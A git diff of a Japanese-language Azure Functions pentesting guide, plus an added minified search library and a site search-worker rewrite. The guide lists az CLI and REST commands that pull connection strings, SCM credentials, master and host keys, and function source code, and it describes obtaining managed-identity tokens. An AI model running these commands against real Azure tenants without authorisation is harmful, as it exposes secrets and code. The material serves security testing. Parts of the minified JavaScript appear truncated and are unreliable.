(Pythonを使用している場合)に格納されています。コードを実行するユーザーは **`app`** で、sudo権限はありません。 +Linuxサンドボックス内では、ソースコードは**`/home/site/wwwroot`**にあり、ファイル**`function_app.py`**(Pythonを使用している場合)に格納されています。コードを実行するユーザーは**`app`**(sudo権限なし)です。 -**Windows**関数でNodeJSを使用している場合、コードは **`C:\home\site\wwwroot\HttpTrigger1\index.js`** にあり、ユーザー名は **`mawsFnPlaceholder8_f_v4_node_20_x86`** で、**グループ**には `Mandatory Label\High Mandatory Level Label`、`Everyone`、`BUILTIN\Users`、`NT AUTHORITY\INTERACTIVE`、`CONSOLE LOGON`、`NT AUTHORITY\Authenticated Users`、`NT AUTHORITY\This Organization`、`BUILTIN\IIS_IUSRS`、`LOCAL`、`10-30-4-99\Dwas Site Users` が含まれていました。 +**Windows**関数でNodeJSを使用している場合、コードは**`C:\home\site\wwwroot\HttpTrigger1\index.js`**にあり、ユーザー名は**`mawsFnPlaceholder8_f_v4_node_20_x86`**で、**グループ**には`Mandatory Label\High Mandatory Level Label`、`Everyone`、`BUILTIN\Users`、`NT AUTHORITY\INTERACTIVE`、`CONSOLE LOGON`、`NT AUTHORITY\Authenticated Users`、`NT AUTHORITY\This Organization`、`BUILTIN\IIS_IUSRS`、`LOCAL`、`10-30-4-99\Dwas Site Users`が含まれていました。 ### **管理されたIDとメタデータ** -[**VMs**](vms/index.html) と同様に、Functionsは2種類の**管理されたID**を持つことができます:システム割り当てとユーザー割り当て。 +[**VMs**](vms/index.html)と同様に、Functionsは**2種類の管理されたID**を持つことができます:システム割り当てとユーザー割り当て。 -**システム割り当て**のものは、**そのIDが割り当てられた関数のみが使用できる**管理されたIDであり、**ユーザー割り当て**の管理されたIDは、**他のAzureサービスが使用できる**管理されたIDです。 +**システム割り当て**のものは、**そのIDが割り当てられた関数のみが使用できる管理されたID**です。一方、**ユーザー割り当て**の管理されたIDは、**他のAzureサービスが使用できる管理されたID**です。 > [!NOTE] -> [**VMs**](vms/index.html) と同様に、Functionsは**1つのシステム割り当て**の管理されたIDと**複数のユーザー割り当て**の管理されたIDを持つことができるため、関数を妥協した場合は、すべての管理されたIDを見つけることが常に重要です。1つのFunctionから複数の管理されたIDに権限を昇格させることができるかもしれません。 +> [**VMs**](vms/index.html)と同様に、Functionsは**1つのシステム割り当て**の管理されたIDと**複数のユーザー割り当て**の管理されたIDを持つことができるため、関数を妥協した場合は、すべての管理されたIDを見つけることが常に重要です。1つのFunctionから複数の管理されたIDに権限を昇格させることができるかもしれません。 > -> システム管理されたIDが使用されていない場合でも、1つ以上のユーザー管理されたIDが関数に添付されている場合、デフォルトではトークンを取得することはできません。 +> システム管理されたIDが使用されていないが、1つ以上のユーザー管理されたIDが関数に添付されている場合、デフォルトではトークンを取得することはできません。 [**PEASSスクリプト**](https://github.com/peass-ng/PEASS-ng)を使用して、メタデータエンドポイントからデフォルトの管理されたIDのトークンを取得することが可能です。また、以下のように**手動で**取得することもできます: -{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm +{{#endref}} -関数に添付されている**すべての管理されたIDを確認する方法**を見つける必要があることに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを確認してください)。 +関数に添付されている**すべての管理されたIDを確認する方法を見つける**必要があることに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを参照してください)。 ## アクセスキー > [!NOTE] > ユーザーが関数を呼び出すためのアクセスを与えるRBAC権限はありません。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。 -HTTPトリガーを使用して関数内にエンドポイントを作成する際、関数をトリガーするために必要な**アクセスキーの認証レベル**を指定することが可能です。利用可能なオプションは3つあります: +HTTPトリガーを使用して関数内にエンドポイントを作成する際、関数をトリガーするために必要な**アクセスキーの認証レベル**を指定することが可能です。3つのオプションがあります: - **ANONYMOUS**: **誰でも**URLを通じて関数にアクセスできます。 - **FUNCTION**: エンドポイントは**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。 @@ -84,10 +86,10 @@ HTTPトリガーを使用して関数内にエンドポイントを作成する **キーの種類:** -- **関数キー**: 関数キーはデフォルトまたはユーザー定義のいずれかで、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。これにより、エンドポイントに対するより細かいアクセスが可能になります。 -- **ホストキー**: ホストキーもデフォルトまたはユーザー定義のいずれかで、**FUNCTIONアクセスレベル**を持つFunction App内の**すべての関数エンドポイント**へのアクセスを提供します。 -- **マスターキー**: マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを含む管理キーで、権限が昇格されます。この**キーは取り消すことができません**。 -- **システムキー**: システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、これらはそれぞれのAPIと安全に対話するためにシステムキーを利用します。 +- **Function Keys:** 関数キーはデフォルトまたはユーザー定義のいずれかで、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。これにより、エンドポイントに対するより細かいアクセスが可能になります。 +- **Host Keys:** ホストキーはデフォルトまたはユーザー定義のいずれかで、Function App内の**すべての関数エンドポイントにFUNCTIONアクセスレベルでアクセス**を提供します。 +- **Master Key:** マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを含む管理キーで、権限が昇格されます。この**キーは取り消すことができません**。 +- **System Keys:** システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、これらはそれぞれのAPIと安全に対話するためにシステムキーを利用します。 > [!TIP] > キーを使用して関数APIエンドポイントにアクセスする例: @@ -96,7 +98,7 @@ HTTPトリガーを使用して関数内にエンドポイントを作成する ### 基本認証 -App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については: +App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については以下を参照してください: {{#ref}} az-app-services.md @@ -192,7 +194,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ``` -さらに、**Managed Identity**も作成されるため、リポジトリからのGithub Actionはそれを使用してAzureにログインできるようになります。これは、**Managed Identity**上にフェデレーテッド資格情報を生成することによって行われ、**Issuer** `https://token.actions.githubusercontent.com` と **Subject Identifier** `repo:/:ref:refs/heads/` が許可されます。 +さらに、**Managed Identity**も作成されるため、リポジトリのGithub Actionはそれを使用してAzureにログインできるようになります。これは、**Managed Identity**上にフェデレーテッド資格情報を生成することによって行われ、**Issuer** `https://token.actions.githubusercontent.com` と **Subject Identifier** `repo:/:ref:refs/heads/` が許可されます。 > [!CAUTION] > したがって、そのリポジトリを侵害した者は、関数およびそれに関連付けられたManaged Identitiesを侵害することができます。 @@ -201,7 +203,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、設定にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、ウェブコンソールでは、設定に**image settings**が表示されます。 -さらに、**ソースコードは関数に関連するストレージ**アカウントに保存されません。必要ないためです。 +さらに、**ソースコードは関数に関連するストレージ**アカウントに保存されることはありません。必要ないためです。 ## 列挙 @@ -211,10 +213,10 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} # List all the functions az functionapp list -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# List functions in an function-app (endpoints) +az functionapp function list \ +--name \ +--resource-group # Get details about the source of the function code az functionapp deployment source show \ @@ -231,6 +233,9 @@ az functionapp config container show \ # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group +# Get access restrictions +az functionapp config access-restriction show --name --resource-group + # Check if a domain was assigned to a function app az functionapp config hostname list --webapp-name --resource-group @@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group # Get network restrictions az functionapp config access-restriction show --name --resource-group -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +# Get acess restrictions +az functionapp config access-restriction show --name --resource-group + +# Get connection strings +az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/connectionstrings/list?api-version=2022-03-01" +az rest --method GET --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/configreferences/connectionstrings?api-version=2022-03-01" + +# Get SCM credentials +az functionapp deployment list-publishing-credentials --name --resource-group + +# Get function, system and master keys +az functionapp keys list --name --resource-group + +# Get Host key +az rest --method POST --uri "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" # Get source code with Master Key of the function curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v +curl "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v + +# Get source code using SCM access (Azure permissions or SCM creds) +az rest --method GET \ +--url "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" \ +--resource "https://management.azure.com/" + +# Get source code with Azure permissions +az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +## Another example +az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01" -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash Get-Command -Module Az.Functions # Lists all Function Apps in the current subscription or in a specific resource group. diff --git a/theme/elasticlunr.min.js b/theme/elasticlunr.min.js new file mode 100644 index 000000000..32cb1bce1 --- /dev/null +++ b/theme/elasticlunr.min.js @@ -0,0 +1,10 @@ +/** + * elasticlunr - http://weixsong.github.io + * Lightweight full-text search engine in Javascript for browser search and offline search. - 0.9.5 + * + * Copyright (C) 2016 Oliver Nightingale + * Copyright (C) 2016 Wei Song + * MIT Licensed + * @license + */ +!function(){function e(e){if(null===e||"object"!=typeof e)return e;var t=e.constructor();for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.9.5",lunr=t,t.utils={},t.utils.warn=function(e){return function(t){e.console&&console.warn&&console.warn(t)}}(this),t.utils.toString=function(e){return void 0===e||null===e?"":e.toString()},t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var e=Array.prototype.slice.call(arguments),t=e.pop(),n=e;if("function"!=typeof t)throw new TypeError("last argument must be a function");n.forEach(function(e){this.hasHandler(e)||(this.events[e]=[]),this.events[e].push(t)},this)},t.EventEmitter.prototype.removeListener=function(e,t){if(this.hasHandler(e)){var n=this.events[e].indexOf(t);-1!==n&&(this.events[e].splice(n,1),0==this.events[e].length&&delete this.events[e])}},t.EventEmitter.prototype.emit=function(e){if(this.hasHandler(e)){var t=Array.prototype.slice.call(arguments,1);this.events[e].forEach(function(e){e.apply(void 0,t)},this)}},t.EventEmitter.prototype.hasHandler=function(e){return e in this.events},t.tokenizer=function(e){if(!arguments.length||null===e||void 0===e)return[];if(Array.isArray(e)){var n=e.filter(function(e){return null===e||void 0===e?!1:!0});n=n.map(function(e){return t.utils.toString(e).toLowerCase()});var i=[];return n.forEach(function(e){var n=e.split(t.tokenizer.seperator);i=i.concat(n)},this),i}return e.toString().trim().toLowerCase().split(t.tokenizer.seperator)},t.tokenizer.defaultSeperator=/[\s\-]+/,t.tokenizer.seperator=t.tokenizer.defaultSeperator,t.tokenizer.setSeperator=function(e){null!==e&&void 0!==e&&"object"==typeof e&&(t.tokenizer.seperator=e)},t.tokenizer.resetSeperator=function(){t.tokenizer.seperator=t.tokenizer.defaultSeperator},t.tokenizer.getSeperator=function(){return t.tokenizer.seperator},t.Pipeline=function(){this._queue=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in t.Pipeline.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[n]=e},t.Pipeline.getRegisteredFunction=function(e){return e in t.Pipeline.registeredFunctions!=!0?null:t.Pipeline.registeredFunctions[e]},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.getRegisteredFunction(e);if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._queue.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i+1,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i,0,n)},t.Pipeline.prototype.remove=function(e){var t=this._queue.indexOf(e);-1!==t&&this._queue.splice(t,1)},t.Pipeline.prototype.run=function(e){for(var t=[],n=e.length,i=this._queue.length,o=0;n>o;o++){for(var r=e[o],s=0;i>s&&(r=this._queue[s](r,o,e),void 0!==r&&null!==r);s++);void 0!==r&&null!==r&&t.push(r)}return t},t.Pipeline.prototype.reset=function(){this._queue=[]},t.Pipeline.prototype.get=function(){return this._queue},t.Pipeline.prototype.toJSON=function(){return this._queue.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.DocumentStore,this.index={},this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var e=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,e)},t.Index.prototype.off=function(e,t){return this.eventEmitter.removeListener(e,t)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;n._fields=e.fields,n._ref=e.ref,n.documentStore=t.DocumentStore.load(e.documentStore),n.pipeline=t.Pipeline.load(e.pipeline),n.index={};for(var i in e.index)n.index[i]=t.InvertedIndex.load(e.index[i]);return n},t.Index.prototype.addField=function(e){return this._fields.push(e),this.index[e]=new t.InvertedIndex,this},t.Index.prototype.setRef=function(e){return this._ref=e,this},t.Index.prototype.saveDocument=function(e){return this.documentStore=new t.DocumentStore(e),this},t.Index.prototype.addDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.addDoc(i,e),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));this.documentStore.addFieldLength(i,n,o.length);var r={};o.forEach(function(e){e in r?r[e]+=1:r[e]=1},this);for(var s in r){var u=r[s];u=Math.sqrt(u),this.index[n].addToken(s,{ref:i,tf:u})}},this),n&&this.eventEmitter.emit("add",e,this)}},t.Index.prototype.removeDocByRef=function(e){if(e&&this.documentStore.isDocStored()!==!1&&this.documentStore.hasDoc(e)){var t=this.documentStore.getDoc(e);this.removeDoc(t,!1)}},t.Index.prototype.removeDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.hasDoc(i)&&(this.documentStore.removeDoc(i),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));o.forEach(function(e){this.index[n].removeToken(e,i)},this)},this),n&&this.eventEmitter.emit("remove",e,this))}},t.Index.prototype.updateDoc=function(e,t){var t=void 0===t?!0:t;this.removeDocByRef(e[this._ref],!1),this.addDoc(e,!1),t&&this.eventEmitter.emit("update",e,this)},t.Index.prototype.idf=function(e,t){var n="@"+t+"/"+e;if(Object.prototype.hasOwnProperty.call(this._idfCache,n))return this._idfCache[n];var i=this.index[t].getDocFreq(e),o=1+Math.log(this.documentStore.length/(i+1));return this._idfCache[n]=o,o},t.Index.prototype.getFields=function(){return this._fields.slice()},t.Index.prototype.search=function(e,n){if(!e)return[];var i=null;null!=n&&(i=JSON.stringify(n));var o=new t.Configuration(i,this.getFields()).get(),r=this.pipeline.run(t.tokenizer(e)),s={};for(var u in o){var a=this.fieldSearch(r,u,o),l=o[u].boost;for(var d in a)a[d]=a[d]*l;for(var d in a)d in s?s[d]+=a[d]:s[d]=a[d]}var c=[];for(var d in s)c.push({ref:d,score:s[d]});return c.sort(function(e,t){return t.score-e.score}),c},t.Index.prototype.fieldSearch=function(e,t,n){var i=n[t].bool,o=n[t].expand,r=n[t].boost,s=null,u={};return 0!==r?(e.forEach(function(e){var n=[e];1==o&&(n=this.index[t].expandToken(e));var r={};n.forEach(function(n){var o=this.index[t].getDocs(n),a=this.idf(n,t);if(s&&"AND"==i){var l={};for(var d in s)d in o&&(l[d]=o[d]);o=l}n==e&&this.fieldSearchStats(u,n,o);for(var d in o){var c=this.index[t].getTermFrequency(n,d),f=this.documentStore.getFieldLength(d,t),h=1;0!=f&&(h=1/Math.sqrt(f));var p=1;n!=e&&(p=.15*(1-(n.length-e.length)/n.length));var v=c*a*h*p;d in r?r[d]+=v:r[d]=v}},this),s=this.mergeScores(s,r,i)},this),s=this.coordNorm(s,u,e.length)):void 0},t.Index.prototype.mergeScores=function(e,t,n){if(!e)return t;if("AND"==n){var i={};for(var o in t)o in e&&(i[o]=e[o]+t[o]);return i}for(var o in t)o in e?e[o]+=t[o]:e[o]=t[o];return e},t.Index.prototype.fieldSearchStats=function(e,t,n){for(var i in n)i in e?e[i].push(t):e[i]=[t]},t.Index.prototype.coordNorm=function(e,t,n){for(var i in e)if(i in t){var o=t[i].length;e[i]=e[i]*o/n}return e},t.Index.prototype.toJSON=function(){var e={};return this._fields.forEach(function(t){e[t]=this.index[t].toJSON()},this),{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),index:e,pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(e){var t=Array.prototype.slice.call(arguments,1);t.unshift(this),e.apply(this,t)},t.DocumentStore=function(e){this._save=null===e||void 0===e?!0:e,this.docs={},this.docInfo={},this.length=0},t.DocumentStore.load=function(e){var t=new this;return t.length=e.length,t.docs=e.docs,t.docInfo=e.docInfo,t._save=e.save,t},t.DocumentStore.prototype.isDocStored=function(){return this._save},t.DocumentStore.prototype.addDoc=function(t,n){this.hasDoc(t)||this.length++,this.docs[t]=this._save===!0?e(n):null},t.DocumentStore.prototype.getDoc=function(e){return this.hasDoc(e)===!1?null:this.docs[e]},t.DocumentStore.prototype.hasDoc=function(e){return e in this.docs},t.DocumentStore.prototype.removeDoc=function(e){this.hasDoc(e)&&(delete this.docs[e],delete this.docInfo[e],this.length--)},t.DocumentStore.prototype.addFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&(this.docInfo[e]||(this.docInfo[e]={}),this.docInfo[e][t]=n)},t.DocumentStore.prototype.updateFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&this.addFieldLength(e,t,n)},t.DocumentStore.prototype.getFieldLength=function(e,t){return null===e||void 0===e?0:e in this.docs&&t in this.docInfo[e]?this.docInfo[e][t]:0},t.DocumentStore.prototype.toJSON=function(){return{docs:this.docs,docInfo:this.docInfo,length:this.length,save:this._save}},t.stemmer=function(){var e={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},t={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,u="^("+o+")?"+r+o+"("+r+")?$",a="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,d=new RegExp(s),c=new RegExp(a),f=new RegExp(u),h=new RegExp(l),p=/^(.+?)(ss|i)es$/,v=/^(.+?)([^s])s$/,g=/^(.+?)eed$/,m=/^(.+?)(ed|ing)$/,y=/.$/,S=/(at|bl|iz)$/,x=new RegExp("([^aeiouylsz])\\1$"),w=new RegExp("^"+o+i+"[^aeiouwxy]$"),I=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,D=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,_=/^(.+?)e$/,P=/ll$/,k=new RegExp("^"+o+i+"[^aeiouwxy]$"),z=function(n){var i,o,r,s,u,a,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,u=v,s.test(n)?n=n.replace(s,"$1$2"):u.test(n)&&(n=n.replace(u,"$1$2")),s=g,u=m,s.test(n)){var z=s.exec(n);s=d,s.test(z[1])&&(s=y,n=n.replace(s,""))}else if(u.test(n)){var z=u.exec(n);i=z[1],u=h,u.test(i)&&(n=i,u=S,a=x,l=w,u.test(n)?n+="e":a.test(n)?(s=y,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=I,s.test(n)){var z=s.exec(n);i=z[1],n=i+"i"}if(s=b,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+e[o])}if(s=E,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+t[o])}if(s=D,u=F,s.test(n)){var z=s.exec(n);i=z[1],s=c,s.test(i)&&(n=i)}else if(u.test(n)){var z=u.exec(n);i=z[1]+z[2],u=c,u.test(i)&&(n=i)}if(s=_,s.test(n)){var z=s.exec(n);i=z[1],s=c,u=f,a=k,(s.test(i)||u.test(i)&&!a.test(i))&&(n=i)}return s=P,u=c,s.test(n)&&u.test(n)&&(s=y,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return z}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==!0?e:void 0},t.clearStopWords=function(){t.stopWordFilter.stopWords={}},t.addStopWords=function(e){null!=e&&Array.isArray(e)!==!1&&e.forEach(function(e){t.stopWordFilter.stopWords[e]=!0},this)},t.resetStopWords=function(){t.stopWordFilter.stopWords=t.defaultStopWords},t.defaultStopWords={"":!0,a:!0,able:!0,about:!0,across:!0,after:!0,all:!0,almost:!0,also:!0,am:!0,among:!0,an:!0,and:!0,any:!0,are:!0,as:!0,at:!0,be:!0,because:!0,been:!0,but:!0,by:!0,can:!0,cannot:!0,could:!0,dear:!0,did:!0,"do":!0,does:!0,either:!0,"else":!0,ever:!0,every:!0,"for":!0,from:!0,get:!0,got:!0,had:!0,has:!0,have:!0,he:!0,her:!0,hers:!0,him:!0,his:!0,how:!0,however:!0,i:!0,"if":!0,"in":!0,into:!0,is:!0,it:!0,its:!0,just:!0,least:!0,let:!0,like:!0,likely:!0,may:!0,me:!0,might:!0,most:!0,must:!0,my:!0,neither:!0,no:!0,nor:!0,not:!0,of:!0,off:!0,often:!0,on:!0,only:!0,or:!0,other:!0,our:!0,own:!0,rather:!0,said:!0,say:!0,says:!0,she:!0,should:!0,since:!0,so:!0,some:!0,than:!0,that:!0,the:!0,their:!0,them:!0,then:!0,there:!0,these:!0,they:!0,"this":!0,tis:!0,to:!0,too:!0,twas:!0,us:!0,wants:!0,was:!0,we:!0,were:!0,what:!0,when:!0,where:!0,which:!0,"while":!0,who:!0,whom:!0,why:!0,will:!0,"with":!0,would:!0,yet:!0,you:!0,your:!0},t.stopWordFilter.stopWords=t.defaultStopWords,t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(e){if(null===e||void 0===e)throw new Error("token should not be undefined");return e.replace(/^\W+/,"").replace(/\W+$/,"")},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.InvertedIndex=function(){this.root={docs:{},df:0}},t.InvertedIndex.load=function(e){var t=new this;return t.root=e.root,t},t.InvertedIndex.prototype.addToken=function(e,t,n){for(var n=n||this.root,i=0;i<=e.length-1;){var o=e[i];o in n||(n[o]={docs:{},df:0}),i+=1,n=n[o]}var r=t.ref;n.docs[r]?n.docs[r]={tf:t.tf}:(n.docs[r]={tf:t.tf},n.df+=1)},t.InvertedIndex.prototype.hasToken=function(e){if(!e)return!1;for(var t=this.root,n=0;n0&&t.push(e);for(var i in n)"docs"!==i&&"df"!==i&&this.expandToken(e+i,t,n[i]);return t},t.InvertedIndex.prototype.toJSON=function(){return{root:this.root}},t.Configuration=function(e,n){var e=e||"";if(void 0==n||null==n)throw new Error("fields should not be null");this.config={};var i;try{i=JSON.parse(e),this.buildUserConfig(i,n)}catch(o){t.utils.warn("user configuration parse failed, will use default configuration"),this.buildDefaultConfig(n)}},t.Configuration.prototype.buildDefaultConfig=function(e){this.reset(),e.forEach(function(e){this.config[e]={boost:1,bool:"OR",expand:!1}},this)},t.Configuration.prototype.buildUserConfig=function(e,n){var i="OR",o=!1;if(this.reset(),"bool"in e&&(i=e.bool||i),"expand"in e&&(o=e.expand||o),"fields"in e)for(var r in e.fields)if(n.indexOf(r)>-1){var s=e.fields[r],u=o;void 0!=s.expand&&(u=s.expand),this.config[r]={boost:s.boost||0===s.boost?s.boost:1,bool:s.bool||i,expand:u}}else t.utils.warn("field name in user configuration not found in index instance fields");else this.addAllFields2UserConfig(i,o,n)},t.Configuration.prototype.addAllFields2UserConfig=function(e,t,n){n.forEach(function(n){this.config[n]={boost:1,bool:e,expand:t}},this)},t.Configuration.prototype.get=function(){return this.config},t.Configuration.prototype.reset=function(){this.config={}},lunr.SortedSet=function(){this.length=0,this.elements=[]},lunr.SortedSet.load=function(e){var t=new this;return t.elements=e,t.length=e.length,t},lunr.SortedSet.prototype.add=function(){var e,t;for(e=0;e1;){if(r===e)return o;e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o]}return r===e?o:-1},lunr.SortedSet.prototype.locationFor=function(e){for(var t=0,n=this.elements.length,i=n-t,o=t+Math.floor(i/2),r=this.elements[o];i>1;)e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o];return r>e?o:e>r?o+1:void 0},lunr.SortedSet.prototype.intersect=function(e){for(var t=new lunr.SortedSet,n=0,i=0,o=this.length,r=e.length,s=this.elements,u=e.elements;;){if(n>o-1||i>r-1)break;s[n]!==u[i]?s[n]u[i]&&i++:(t.add(s[n]),n++,i++)}return t},lunr.SortedSet.prototype.clone=function(){var e=new lunr.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},lunr.SortedSet.prototype.union=function(e){var t,n,i;this.length>=e.length?(t=this,n=e):(t=e,n=this),i=t.clone();for(var o=0,r=n.toArray();o { "use strict"; - window.search = window.search || {}; - (function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; + + /* ───────────── 0. helpers (main thread) ───────────── */ + const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); }; + + /* ───────────── 1. Web‑Worker code ─────────────────── */ + const workerCode = ` + self.window = self; + self.search = self.search || {}; + const abs = p => location.origin + p; + + /* 1 — elasticlunr */ + try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); } + catch { importScripts(abs('/elasticlunr.min.js')); } + + /* 2 — load a single index (remote → local) */ + async function loadIndex(remote, local, isCloud=false){ + let rawLoaded = false; + try { + const r = await fetch(remote,{mode:'cors'}); + if (!r.ok) throw new Error('HTTP '+r.status); + importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'}))); + rawLoaded = true; + } catch(e){ console.warn('remote',remote,'failed →',e); } + if(!rawLoaded){ + try { importScripts(abs(local)); rawLoaded = true; } + catch(e){ console.error('local',local,'failed →',e); } } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var 